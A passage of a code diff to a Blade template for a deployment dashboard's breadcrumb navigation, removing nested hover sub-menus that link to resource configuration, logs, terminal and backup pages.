:style="'position: absolute; left: 100%; top: ' + (envPositions['{{ $environment->uuid }}'] || 0) + 'px; z-index: 30;'"
|
||||
class="flex flex-col sm:flex-row items-start pl-1">
|
||||
<div
|
||||
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
|
||||
class="relative w-56 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
|
||||
@foreach ($envResources as $envResource)
|
||||
@php
|
||||
$resType = $envResource['type'];
|
||||
|
|
@ -197,226 +188,14 @@ class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 bor
|
|||
]),
|
||||
};
|
||||
$isCurrentResource = $res->uuid === $currentResourceUuid;
|
||||
// Use loaded relation count if available, otherwise check additional_servers_count attribute
|
||||
$resHasMultipleServers = $resType === 'application' && method_exists($res, 'additional_servers') &&
|
||||
($res->relationLoaded('additional_servers') ? $res->additional_servers->count() > 0 : ($res->additional_servers_count ?? 0) > 0);
|
||||
$resServerName = $resHasMultipleServers ? null : data_get($res, 'destination.server.name');
|
||||
@endphp
|
||||
<div @mouseenter="openRes('{{ $environment->uuid }}-{{ $res->uuid }}'); resPositions['{{ $environment->uuid }}-{{ $res->uuid }}'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
|
||||
@mouseleave="closeRes()">
|
||||
<a href="{{ $resRoute }}" {{ wireNavigate() }}
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200 {{ $isCurrentResource ? 'dark:text-warning font-semibold' : '' }}"
|
||||
title="{{ $res->name }}{{ $resServerName ? ' ('.$resServerName.')' : '' }}">
|
||||
<span class="truncate">{{ $res->name }}@if($resServerName) <span class="text-xs text-neutral-400">({{ $resServerName }})</span>@endif</span>
|
||||
<svg class="w-3 h-3 shrink-0" fill="none" stroke="currentColor"
|
||||
viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="4" d="M9 5l7 7-7 7"></path>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
<a href="{{ $resRoute }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 {{ $isCurrentResource ? 'dark:text-warning font-semibold' : '' }}"
|
||||
title="{{ $res->name }}">
|
||||
{{ $res->name }}
|
||||
</a>
|
||||
@endforeach
|
||||
</div>
|
||||
|
||||
<!-- Main Menu Sub-dropdown (3rd level) -->
|
||||
@foreach ($envResources as $envResource)
|
||||
@php
|
||||
$resType = $envResource['type'];
|
||||
$res = $envResource['resource'];
|
||||
$resParams = [
|
||||
'project_uuid' => $currentProjectUuid,
|
||||
'environment_uuid' => $environment->uuid,
|
||||
];
|
||||
if ($resType === 'application') {
|
||||
$resParams['application_uuid'] = $res->uuid;
|
||||
} elseif ($resType === 'service') {
|
||||
$resParams['service_uuid'] = $res->uuid;
|
||||
} else {
|
||||
$resParams['database_uuid'] = $res->uuid;
|
||||
}
|
||||
$resKey = $environment->uuid . '-' . $res->uuid;
|
||||
@endphp
|
||||
<div x-show="activeRes === '{{ $resKey }}'" x-cloak
|
||||
x-transition:enter="transition ease-out duration-150"
|
||||
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
|
||||
@mouseenter="openRes('{{ $resKey }}')"
|
||||
@mouseleave="closeRes()"
|
||||
:style="'position: absolute; left: 100%; top: ' + (resPositions['{{ $resKey }}'] || 0) + 'px; z-index: 40;'"
|
||||
class="flex flex-col sm:flex-row items-start pl-1">
|
||||
<!-- Main Menu List -->
|
||||
<div
|
||||
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200">
|
||||
@if ($resType === 'application')
|
||||
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
|
||||
@mouseleave="closeMenu()">
|
||||
<a href="{{ route('project.application.configuration', $resParams) }}" {{ wireNavigate() }}
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
<span>Configuration</span>
|
||||
<svg class="w-3 h-3 shrink-0" fill="none"
|
||||
stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="4" d="M9 5l7 7-7 7"></path>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
<a href="{{ route('project.application.deployment.index', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Deployments</a>
|
||||
<a href="{{ route('project.application.logs', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
|
||||
@can('canAccessTerminal')
|
||||
<a href="{{ route('project.application.command', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
|
||||
@endcan
|
||||
@elseif ($resType === 'service')
|
||||
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
|
||||
@mouseleave="closeMenu()">
|
||||
<a href="{{ route('project.service.configuration', $resParams) }}" {{ wireNavigate() }}
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
<span>Configuration</span>
|
||||
<svg class="w-3 h-3 shrink-0" fill="none"
|
||||
stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="4" d="M9 5l7 7-7 7"></path>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
<a href="{{ route('project.service.logs', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
|
||||
@can('canAccessTerminal')
|
||||
<a href="{{ route('project.service.command', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
|
||||
@endcan
|
||||
@else
|
||||
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
|
||||
@mouseleave="closeMenu()">
|
||||
<a href="{{ route('project.database.configuration', $resParams) }}" {{ wireNavigate() }}
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
<span>Configuration</span>
|
||||
<svg class="w-3 h-3 shrink-0" fill="none"
|
||||
stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="4" d="M9 5l7 7-7 7"></path>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
<a href="{{ route('project.database.logs', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
|
||||
@can('canAccessTerminal')
|
||||
<a href="{{ route('project.database.command', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
|
||||
@endcan
|
||||
@if (
|
||||
$res->getMorphClass() === 'App\Models\StandalonePostgresql' ||
|
||||
$res->getMorphClass() === 'App\Models\StandaloneMongodb' ||
|
||||
$res->getMorphClass() === 'App\Models\StandaloneMysql' ||
|
||||
$res->getMorphClass() === 'App\Models\StandaloneMariadb')
|
||||
<a href="{{ route('project.database.backup.index', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Backups</a>
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
|
||||
<!-- Configuration Sub-menu (4th level) -->
|
||||
<div x-show="activeMenuEnv === '{{ $resKey }}-config'" x-cloak
|
||||
x-transition:enter="transition ease-out duration-150"
|
||||
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
|
||||
@mouseenter="openMenu('{{ $resKey }}-config')"
|
||||
@mouseleave="closeMenu()"
|
||||
:style="'position: absolute; left: 100%; top: ' + (menuPositions['{{ $resKey }}-config'] || 0) + 'px; z-index: 50;'"
|
||||
class="pl-1">
|
||||
<div class="w-52 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
|
||||
@if ($resType === 'application')
|
||||
<a href="{{ route('project.application.configuration', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
|
||||
<a href="{{ route('project.application.environment-variables', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
|
||||
Variables</a>
|
||||
<a href="{{ route('project.application.persistent-storage', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
|
||||
Storage</a>
|
||||
<a href="{{ route('project.application.source', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Source</a>
|
||||
<a href="{{ route('project.application.servers', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
|
||||
<a href="{{ route('project.application.scheduled-tasks.show', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
|
||||
Tasks</a>
|
||||
<a href="{{ route('project.application.webhooks', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
|
||||
<a href="{{ route('project.application.preview-deployments', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Preview
|
||||
Deployments</a>
|
||||
<a href="{{ route('project.application.healthcheck', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Healthcheck</a>
|
||||
<a href="{{ route('project.application.rollback', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Rollback</a>
|
||||
<a href="{{ route('project.application.resource-limits', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Limits</a>
|
||||
<a href="{{ route('project.application.resource-operations', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Operations</a>
|
||||
<a href="{{ route('project.application.metrics', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
|
||||
<a href="{{ route('project.application.tags', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
|
||||
<a href="{{ route('project.application.advanced', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Advanced</a>
|
||||
<a href="{{ route('project.application.danger', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
|
||||
Zone</a>
|
||||
@elseif ($resType === 'service')
|
||||
<a href="{{ route('project.service.configuration', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
|
||||
<a href="{{ route('project.service.environment-variables', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
|
||||
Variables</a>
|
||||
<a href="{{ route('project.service.storages', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Storages</a>
|
||||
<a href="{{ route('project.service.scheduled-tasks.show', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
|
||||
Tasks</a>
|
||||
<a href="{{ route('project.service.webhooks', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
|
||||
<a href="{{ route('project.service.resource-operations', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Operations</a>
|
||||
<a href="{{ route('project.service.tags', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
|
||||
<a href="{{ route('project.service.danger', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
|
||||
Zone</a>
|
||||
@else
|
||||
<a href="{{ route('project.database.configuration', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
|
||||
<a href="{{ route('project.database.environment-variables', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
|
||||
Variables</a>
|
||||
<a href="{{ route('project.database.servers', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
|
||||
<a href="{{ route('project.database.persistent-storage', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
|
||||
Storage</a>
|
||||
<a href="{{ route('project.database.webhooks', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
|
||||
<a href="{{ route('project.database.resource-limits', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Limits</a>
|
||||
<a href="{{ route('project.database.resource-operations', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Operations</a>
|
||||
<a href="{{ route('project.database.metrics', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
|
||||
<a href="{{ route('project.database.tags', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
|
||||
<a href="{{ route('project.database.danger', $resParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
|
||||
Zone</a>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@endforeach
|
||||
</div>
|
||||
@endif
|
||||
@endforeach
|
||||
|
|
@ -431,7 +210,6 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
|
|||
$isApplication = $resourceType === 'App\Models\Application';
|
||||
$isService = $resourceType === 'App\Models\Service';
|
||||
$isDatabase = str_contains($resourceType, 'Database') || str_contains($resourceType, 'Standalone');
|
||||
// Use loaded relation count if available, otherwise check additional_servers_count attribute
|
||||
$hasMultipleServers = $isApplication && method_exists($resource, 'additional_servers') &&
|
||||
($resource->relationLoaded('additional_servers') ? $resource->additional_servers->count() > 0 : ($resource->additional_servers_count ?? 0) > 0);
|
||||
$serverName = $hasMultipleServers ? null : data_get($resource, 'destination.server.name');
|
||||
|
|
@ -447,221 +225,16 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
|
|||
$routeParams['database_uuid'] = $resourceUuid;
|
||||
}
|
||||
@endphp
|
||||
<li class="inline-flex items-center" x-data="{ resourceOpen: false, activeMenu: null, menuPosition: 0, closeTimeout: null, menuTimeout: null, toggle() { this.resourceOpen = !this.resourceOpen; if (!this.resourceOpen) { this.activeMenu = null; } }, open() { clearTimeout(this.closeTimeout); this.resourceOpen = true }, close() { this.closeTimeout = setTimeout(() => { this.resourceOpen = false; this.activeMenu = null; }, 100) }, openMenu(id) { clearTimeout(this.closeTimeout); clearTimeout(this.menuTimeout); this.activeMenu = id }, closeMenu() { this.menuTimeout = setTimeout(() => { this.activeMenu = null; }, 100) } }">
|
||||
<div class="flex items-center relative" @mouseenter="open()"
|
||||
@mouseleave="close()">
|
||||
<a class="text-xs truncate lg:text-sm hover:text-warning" {{ wireNavigate() }}
|
||||
href="{{ $isApplication
|
||||
? route('project.application.configuration', $routeParams)
|
||||
: ($isService
|
||||
? route('project.service.configuration', $routeParams)
|
||||
: route('project.database.configuration', $routeParams)) }}"
|
||||
title="{{ data_get($resource, 'name') }}{{ $serverName ? ' ('.$serverName.')' : '' }}">
|
||||
{{ data_get($resource, 'name') }}@if($serverName) <span class="text-xs text-neutral-400">({{ $serverName }})</span>@endif
|
||||
</a>
|
||||
<button type="button" @click.stop="toggle()" class="px-1 text-warning">
|
||||
<svg class="w-3 h-3 transition-transform" :class="{ 'rotate-down': resourceOpen }" fill="none"
|
||||
stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="4" d="M9 5l7 7-7 7">
|
||||
</path>
|
||||
</svg>
|
||||
</button>
|
||||
|
||||
<!-- Resource Dropdown Container -->
|
||||
<div x-show="resourceOpen" @click.outside="close()" x-transition:enter="transition ease-out duration-200"
|
||||
x-transition:enter-start="opacity-0 scale-95" x-transition:enter-end="opacity-100 scale-100"
|
||||
x-transition:leave="transition ease-in duration-75"
|
||||
x-transition:leave-start="opacity-100 scale-100" x-transition:leave-end="opacity-0 scale-95"
|
||||
class="absolute z-20 top-full mt-1 left-0 sm:left-auto max-w-[calc(100vw-1rem)]" x-init="$nextTick(() => { const rect = $el.getBoundingClientRect(); if (rect.right > window.innerWidth) { $el.style.left = 'auto'; $el.style.right = '0'; } })">
|
||||
<!-- Main Menu List -->
|
||||
<div
|
||||
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200">
|
||||
@if ($isApplication)
|
||||
<!-- Application Main Menus -->
|
||||
<div @mouseenter="openMenu('config'); menuPosition = $el.offsetTop" @mouseleave="closeMenu()">
|
||||
<a href="{{ route('project.application.configuration', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
<span>Configuration</span>
|
||||
<svg class="w-3 h-3 shrink-0" fill="none" stroke="currentColor"
|
||||
viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="4"
|
||||
d="M9 5l7 7-7 7"></path>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
<a href="{{ route('project.application.deployment.index', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
Deployments
|
||||
</a>
|
||||
<a href="{{ route('project.application.logs', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
Logs
|
||||
</a>
|
||||
@can('canAccessTerminal')
|
||||
<a href="{{ route('project.application.command', $routeParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
Terminal
|
||||
</a>
|
||||
@endcan
|
||||
@elseif ($isService)
|
||||
<!-- Service Main Menus -->
|
||||
<div @mouseenter="openMenu('config'); menuPosition = $el.offsetTop" @mouseleave="closeMenu()">
|
||||
<a href="{{ route('project.service.configuration', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
<span>Configuration</span>
|
||||
<svg class="w-4 h-4 shrink-0" fill="none" stroke="currentColor"
|
||||
viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M9 5l7 7-7 7"></path>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
<a href="{{ route('project.service.logs', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
Logs
|
||||
</a>
|
||||
@can('canAccessTerminal')
|
||||
<a href="{{ route('project.service.command', $routeParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
Terminal
|
||||
</a>
|
||||
@endcan
|
||||
@else
|
||||
<!-- Database Main Menus -->
|
||||
<div @mouseenter="openMenu('config'); menuPosition = $el.offsetTop" @mouseleave="closeMenu()">
|
||||
<a href="{{ route('project.database.configuration', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
<span>Configuration</span>
|
||||
<svg class="w-4 h-4 shrink-0" fill="none" stroke="currentColor"
|
||||
viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M9 5l7 7-7 7"></path>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
<a href="{{ route('project.database.logs', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
Logs
|
||||
</a>
|
||||
@can('canAccessTerminal')
|
||||
<a href="{{ route('project.database.command', $routeParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
Terminal
|
||||
</a>
|
||||
@endcan
|
||||
@if (
|
||||
$resourceType === 'App\Models\StandalonePostgresql' ||
|
||||
$resourceType === 'App\Models\StandaloneMongodb' ||
|
||||
$resourceType === 'App\Models\StandaloneMysql' ||
|
||||
$resourceType === 'App\Models\StandaloneMariadb')
|
||||
<a href="{{ route('project.database.backup.index', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
Backups
|
||||
</a>
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
|
||||
<!-- Configuration Sub-menu -->
|
||||
<div x-show="activeMenu === 'config'" x-cloak x-transition:enter="transition ease-out duration-150"
|
||||
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
|
||||
@mouseenter="openMenu('config')"
|
||||
@mouseleave="closeMenu()"
|
||||
:style="'position: absolute; left: 100%; top: ' + menuPosition + 'px; z-index: 50;'"
|
||||
class="pl-1">
|
||||
<div class="w-52 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
|
||||
@if ($isApplication)
|
||||
<a href="{{ route('project.application.configuration', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
|
||||
<a href="{{ route('project.application.environment-variables', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
|
||||
Variables</a>
|
||||
<a href="{{ route('project.application.persistent-storage', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
|
||||
Storage</a>
|
||||
<a href="{{ route('project.application.source', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Source</a>
|
||||
<a href="{{ route('project.application.servers', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
|
||||
<a href="{{ route('project.application.scheduled-tasks.show', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
|
||||
Tasks</a>
|
||||
<a href="{{ route('project.application.webhooks', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
|
||||
<a href="{{ route('project.application.preview-deployments', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Preview
|
||||
Deployments</a>
|
||||
<a href="{{ route('project.application.healthcheck', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Healthcheck</a>
|
||||
<a href="{{ route('project.application.rollback', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Rollback</a>
|
||||
<a href="{{ route('project.application.resource-limits', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Limits</a>
|
||||
<a href="{{ route('project.application.resource-operations', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Operations</a>
|
||||
<a href="{{ route('project.application.metrics', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
|
||||
<a href="{{ route('project.application.tags', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
|
||||
<a href="{{ route('project.application.advanced', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Advanced</a>
|
||||
<a href="{{ route('project.application.danger', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
|
||||
Zone</a>
|
||||
@elseif ($isService)
|
||||
<a href="{{ route('project.service.configuration', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
|
||||
<a href="{{ route('project.service.environment-variables', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
|
||||
Variables</a>
|
||||
<a href="{{ route('project.service.storages', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Storages</a>
|
||||
<a href="{{ route('project.service.scheduled-tasks.show', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
|
||||
Tasks</a>
|
||||
<a href="{{ route('project.service.webhooks', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
|
||||
<a href="{{ route('project.service.resource-operations', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Operations</a>
|
||||
<a href="{{ route('project.service.tags', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
|
||||
<a href="{{ route('project.service.danger', $routeParams) }}" {{ wireNavigate() }}
|
||||
